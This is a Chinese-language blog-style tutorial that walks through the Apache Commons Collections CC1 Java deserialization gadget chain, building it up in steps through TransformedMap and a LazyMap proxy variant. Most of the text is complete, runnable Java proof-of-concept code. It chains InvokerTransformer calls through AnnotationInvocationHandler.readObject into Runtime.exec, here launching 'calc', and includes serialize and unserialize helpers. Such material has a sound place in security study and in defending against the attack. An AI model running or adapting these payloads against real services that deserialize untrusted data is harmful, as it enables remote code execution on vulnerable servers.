CC1链 适用版本:CC 3.1-3.2.1, jdk < u71
poc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); map.put("value" ,"zx" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null ,chainedTransformer); Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedmap); serialize(o); unserialize("1.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("1.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }
分析 反序列化的起点:readObject(已知)
反序列化的终点是危险函数或者可控函数(在CC1中指transform方法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 InvokerTransformer.transform() public class InvokerTransformer implements Transformer , Serializable { public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { ... } } }
作用 执行任意方法的危险函数
1 2 3 4 5 6 7 8 9 10 11 12 Runtime r = Runtime.getRuntime(); Class c = r.getClass(); Method m = c.getMethod("exec" ,String.class); m.invoke(r,"calc" ); Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(r);
poc(step1) 1 2 3 4 5 6 7 8 9 public class cc1 { public static void main (String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(r); } }
在找到transform()这个危险方法后,我们需要找到一条返回readObject的路径,这就是反序列化链。
find Usages查找调用了transform()的函数,可以发现有不止一个函数调用了transform(),在CC1的poc中会出现两种路径,一个是lazyMap,另一个是transformMap,这里先讲transformMap的
checkSetValue() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 transformMap.checkSetValue(): public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); } }
poc(step2) 1 2 3 4 5 6 7 8 9 10 11 12 public class cc1 { public static void main (String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(r); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null ,invokerTransformer); } }
寻找调用了checkSetValue的函数,这个倒是很明显,并且只有一个,就是setValue,毕竟也是,要checkSetValue,没有set怎么check呢
setValue() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 MapEntry.setValue() abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected abstract Object checkSetValue (Object value) ; static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } } }
poc(step3) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class cc1 { public static void main (String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(r); HashMap<Object,Object> map = new HashMap <>(); map.put("zx" ,"zx" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:transformedmap.entrySet()){ entry.setValue(r); } } }
接下来,跟之前一样,寻找是否有调用了setValue的函数,且最后能回到readObject的,这是我们的最终目的。
口艾口牙,真幸运,在sun.reflect.annotation包中的AnnotationInvocationHandler就有这样的一个readObject()方法,它就调用了setValue()
readObject() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 sun.reflect.annotation.AnnotationInvocationHandler.readObject() class AnnotationInvocationHandler implements InvocationHandler , Serializable { AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; } private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } } }
poc(step4) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class cc1 { public static void main (String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(r); HashMap<Object,Object> map = new HashMap <>(); map.put("value" ,"zx" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null ,invokerTransformer); Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedmap); } }
是否到此为止了呢?其实并没有,我们还忽略了一个重要的点,就是Runtime其实是一个无法序列化的类,因为它没有继承Serializable
Runtime.class 1 2 3 4 5 6 7 Class rc = Class.forName("Runtime" );Method getRuntime = rc.getDeclaredMethod("getRuntime" ,null );Runtime r = (Runtime) getRuntime.invoke(null ,null );Method exec = rc.getDeclaredMethod("exec" ,String.class);exec.invoke(r,"calc" );
再修改为使用transform调用的版本
1 2 3 4 Method getRuntime = (Method) new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntime);new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
不难看出这些transform其实都是由上一个tansform的返回值来调用的,也就是链式调用,由此可以引出一个同样实现了transform方法的类ChainedTransformer,ChainedTransformer就实现了链式调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class ChainedTransformer implements Transformer , Serializable { public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
再修改为ChainedTransformer调用的版本
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
回到按住不表的setValue,前文提到,setValue传入的value实际上是作为transform方法的执行者,也就是说我们实际上希望在readObject.setValue中传入的value是Runtime对象,而这个参数是不可控的,代码中已经写死了是AnnotationTypeMismatchExceptionProxy对象,那我们也没有什么办法,所幸的是在实现了transform的类中还有一个很特殊的类:ConstantTransformer,不管输入是什么只会返回常量,那如果让它只能返回Runtime.class呢?
因此再次修改之后,得到最后的poc
poc(final) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class cc1 { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); map.put("value" ,"zx" ); Map<Object,Object> transformedmap = TransformedMap.decorate(map,null ,chainedTransformer); Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedmap); serialize(o); unserialize("1.txt" ); } }
Gadget chain 1 ObjectInputStream.readObject() => AnnotationInvocationHandler.readObject() => AbstractInputCheckedMapDecorator.setValue() => TransformedMap.checkSetValue => ChainedTransformer.transform => ConstantTransformer.transform => InvokerTransformer.transform() => Runtime.exec("calc")
poc(another) 在前文也有提到,除了使用transformedMap调用transform之外,还有一条链子是通过lazyMap来实现恶意方法执行的,也是ysoserial使用的链
重点在于使用动态代理去调用invocationHandle的invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.OutputKeys;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.List;import java.util.Map;public class cc1poc2 { public static void main (String[] args) throws Exception{ Transformer[] Transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer= new ChainedTransformer (Transformers); HashMap<Object,Object> map = new HashMap <>(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler1 = (InvocationHandler) constructor.newInstance( Target.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),invocationHandler1); InvocationHandler invocationHandler2 = (InvocationHandler) constructor.newInstance( Target.class,proxyMap); serialize(invocationHandler2); unserialize("2.txt" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("2.txt" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }
Reference 1 2 3 4 5 https://halfblue.github.io/2021/08/23/CommonsCollections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E6%95%B4%E7%90%86/ https://www.freebuf.com/vuls/366689.html https://zhuanlan.zhihu.com/p/347141071 https://xz.aliyun.com/t/12669?time__1311=mqmhDvqIxfgD8DlxGo4%2BxCwcIKfgxq2mD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-4 https://space.bilibili.com/2142877265?spm_id_from=333.337.0.0